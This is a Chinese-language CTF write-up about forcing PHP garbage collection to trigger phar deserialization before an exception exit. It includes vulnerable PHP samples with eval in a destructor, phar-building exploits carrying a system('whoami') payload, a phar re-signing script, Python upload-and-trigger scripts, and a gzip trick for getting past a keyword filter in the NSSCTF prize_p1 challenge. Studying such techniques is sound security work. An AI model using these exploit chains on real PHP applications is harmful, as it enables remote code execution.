浅析GC回收机制与phar反序列化
前段时间做Xenny
师傅的平台NSSCTF遇到了一道利用GC
回收机制,实现phar
反序列化的题,然后上周我们学校举办的校赛GFCTF
同样遇到了一道考点相似的题,那道题还要更难一点,要配合多种filter
过滤器来吃掉脏数据,不过原理是差不多的;后面会专门写一篇文章来解析那道题
前言
我们先来看看下面这段代码:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__);
class Test{ public $code; public function __destruct(){ eval($this -> code); } } $data = $_POST[0]; file_put_contents("a.txt", $data); $filename = $_GET['filename']; file_get_contents($filename); ?>
|
可以看到是很简单的一个的一个反序列化,唯一的难点就是怎么把完整的phar
文件通过file_put_contents
上传上去,写入到a.txt
中,说实话这个问题困扰了我挺久的,用了很多种网上的方法也都不太行,因为我们都知道一个phar
文件中有大量不可见的字符,肯定是没办法直接cv复制粘贴的,然后我也试过先将它url
编码之后再复制粘贴上去,但还是不行,不知道是为什么,我也对比过他们前后的16进制文件,确实是存在一些细微的差别,可能就是因为这个让它无法正常解析,经过不懈尝试后,我发现用python
先读取文件再发包是可以的,我们先来把生成phar
文件的exp
写了:
1 2 3 4 5 6 7 8 9 10 11 12
| <?php class Test{ public $code = "system('whoami');"; } $a = new Test(); $phar = new Phar("arsenetang.phar"); $phar -> startBuffering(); $phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar -> setMetadata($a); $phar -> addFromString("test.txt","aaaaaaatest"); $phar -> stopBuffering(); ?>
|
然后就是通过python
发包将这个arsenetang.phar
文件上传上去并且触发phar
反序列化了,脚本如下:
1 2 3 4 5 6 7 8 9 10 11 12 13
| import requests
url = 'http://x.xx.xx.xxx:7676/test.php' res = requests.post( url, params={ 'filename': 'phar://a.txt' }, data={ 0: open('./arsenetang.phar', 'rb').read() } ) print(res.text)
|

PHP Garbage collection机制
上面那种情况之所以可以成功,是因为程序在正常结束的时候自动触发了__destruct()
,进而执行了__destruct()
中的代码;那么假如由于种种原因,程序不能正常结束,那我们还有没有办法能让它触发__destruct()
呢?
这里就要提到我们本文的主人公了,在PHP中,是拥有垃圾回收机制Garbage collection
的,也就是我们常说的GC
机制的,在PHP中使用引用计数和回收周期来自动管理内存对象的,当一个变量被设置为NULL
,或者没有任何指针指向时,它就会被变成垃圾,被GC
机制自动回收掉;那么当一个对象没有了任何引用之后,就会被回收,在回收过程中,就会自动调用对象中的__destruct()
,我们可以去官方文档中查询:https://www.php.net/manual/zh/features.gc.collecting-cycles.php,重点内容如下图:

那接下来我们就在代码中来看看GC
机制实际上是怎么工作的:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
| <?php class obj { function __construct($i) { $this->i = $i; echo $this->i."Create..."; echo "</br>"; } function __destruct() { echo $this->i."Destroy..."; echo "</br>"; } } new obj('1'); $a = new obj('2'); $a = new obj('3'); echo "---------------------------"; echo "</br>";
?>
|
我们可以先猜猜这段代码的运行结果,对象1被创建之后由于没有任何的引用,那么它立即就会被GC
回收机制回收掉,从而立即进入到__destruct()
中;然后新建一个对象2,并将它赋值给$a
,那么现在它是正常的,有引用的;但是这时又新建了一个对象3,并将它赋值给了$a
,那么这个时候对象2就没有引用了,那么它就会立即被销毁;最后整个程序正常运行结束,销毁所有对象,于是也就销毁了对象3,根据分析,运行结果应该如下:

GC在phar反序列化中实际运用
在了解了GC
回收机制之后,我们知道了当一个对象失去了引用之后,它就会被当成垃圾回收掉,那么这跟phar反序列化有什么关系呢,我们再来看看下面这段代码,跟第一次相比只是多了一个异常退出:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15
| <?php highlight_file(__FILE__);
class Test{ public $code; public function __destruct(){ eval($this -> code); } } $data = $_POST[0]; file_put_contents("a.txt", $data); $filename = $_GET['filename']; echo file_get_contents($filename); throw new Error("这不合理"); ?>
|
别看只加了一句话,我们利用的难度瞬间就加大了,因为有了这一句异常退出以后,程序不再是正常退出的了,不是正常退出就不会触发__destruct()
了,那我们自然也就无法直接利用了;所以说我们得想个办法让它提前进入到__destruct()
中,也就是让这个对象提前被回收掉,这时候我们就想到GC回收机制了,我们可以先将这个对象赋值给一个变量,然后再将另外一个值赋值给这个变量,这时候这个对象就失去了引用,那么它就会立即被回收掉了,利用数组试着实现它:
1 2 3 4 5 6 7 8 9 10 11 12 13
| <?php class Test{ public $code = "system('whoami');"; } $a[] = new Test(); $a[] = 1; $phar = new Phar("arsenetang.phar"); $phar -> startBuffering(); $phar -> setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar -> setMetadata($a); $phar -> addFromString("test.txt","aaaaaaatest"); $phar -> stopBuffering(); ?>
|
先看看它生成的phar
文件长什么样:

那么假如我们把前面的i:1
改为i:0
,那么前面那个对象就会由于失去了引用,从而被GC
回收机制自动回收掉,但这时又会引发一个新的问题,由于我们是后面自己去改的数据,而它phar
文件的签名是第一次生成文件的时候自动生成的,那么当我们修改数据过后,由于签名错误,那么这个phar
文件就会被当成是一个损坏的phar
文件,是无法被正常解析的,所以就得想个办法重新生成正确的phar
文件,我们来先看看一个phar
文件的签名的格式:

可以看到,最后四个字节固定是GBMB
,然后再往前四个字节是⽤来指定签名的算法,可能是MD5、SHA1、SHA256、SHA512
,默认是SHA1
,长度为20个字节,所以说签名部分就是末尾的28个字节,那我们去掉末尾的28个字节,再利用sha1
算法对文件进行加密,就可以得到正确的签名了,这里我就抄Xenny
师傅的修改签名的脚本了,当然我们也可以手动补全签名

1 2 3 4 5 6 7 8 9 10 11 12
| import gzip from hashlib import sha1
file = open("arsenetang.phar","rb").read()
text = file[:-28]
last = file[-8:]
new_file = text+sha1(text).digest() + last
open("arsenetang2.phar","wb").write(new_file)
|
那我们首先修改序列化的字符串,再放入脚本中生成签名正确的phar
文件就好了,然后我们还是用一样的方法利用脚本将phar
文件写进a.txt
,再触发就行了

可以看到虽然它确实是异常退出了,并且输出了这不合理,不过在退出之前它就已经触发了__destruct()
,成功反序列化
例题解析 — NSSCTF prize_p1
源码如下:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| <?php highlight_file(__FILE__); class getflag { function __destruct() { echo getenv("FLAG"); } }
class A { public $config; function __destruct() { if ($this->config == 'w') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } file_put_contents("./tmp/a.txt", $data); } else if ($this->config == 'r') { $data = $_POST[0]; if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $data)) { die("我知道你想干吗,我的建议是不要那样做。"); } echo file_get_contents($data); } } } if (preg_match('/get|flag|post|php|filter|base64|rot13|read|data/i', $_GET[0])) { die("我知道你想干吗,我的建议是不要那样做。"); } unserialize($_GET[0]); throw new Error("那么就从这里开始起航吧");
|
有了前面的基础,我想这道题已经比较容易了,这里唯一的难点就是过滤了一些危险字符串,而我们传入的phar
文件中肯定是存在flag
字符的,所以说我们需要绕过它,在这篇文章中:https://guokeya.github.io/post/uxwHLckwx/,我们可以得知,当一个phar
文件被gzip、bzip2、tar、zip
等操作过后,依然可以利用phar://
协议来正常读取,但文件被操作过后就全变成乱码了,利用这个就可以绕过过滤,接下来我们来构造exp,首先是写入文件的exp,这个很简单,要读的时候改成r
就行
1 2 3 4 5 6 7
| <?php class A { public $config='w'; } $a = new A(); echo serialize($a); ?>
|
然后就是生成phar
文件的exp
,记得加上数组:
1 2 3 4 5 6 7 8 9 10 11 12 13 14
| <?php highlight_file(__FILE__); class getflag { } $a[] = new getflag(); $a[] = 1; @unlink("ars.phar"); $phar = new Phar("ars.phar"); $phar->startBuffering(); $phar->setStub("GIF89a"."<?php __HALT_COMPILER(); ?>"); $phar->setMetadata($a); $phar->addFromString("test.txt", "test"); $phar -> stopBuffering(); ?>
|

然后把前面的i:1
改成i:0
之后改签名,改完之后,还是一样的利用脚本将phar
文件写进文件就行,脚本如下,同样是抄的Xenny
的,这里的脚本稍微有点不同就是因为先要用zip
压缩一下再传:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34
| import requests import gzip import re
url = 'http://xxx.nss.ctfer.vip:9080/'
file = open("./ars2.phar", "rb") file_out = gzip.open("./ars2.zip", "wb+") file_out.writelines(file) file_out.close() file.close()
requests.post( url, params={ 0: 'O:1:"A":{s:6:"config";s:1:"w";}' }, data={ 0: open('./ars2.zip', 'rb').read() } )
res = requests.post( url, params={ 0: 'O:1:"A":1:{s:6:"config";s:1:"r";}' }, data={ 0: 'phar://tmp/a.txt' } )
flag = re.compile('(NSSCTF\{.+?\})').findall(res.text)[0] print(flag)
|
这个我在本地复现是没有问题的,但我放到题目里发现怎么都打不通,检查之后发现它的./tmp/a.txt
里面写不进东西了,不知道是个啥情况,不过能学到这个知识就挺好的了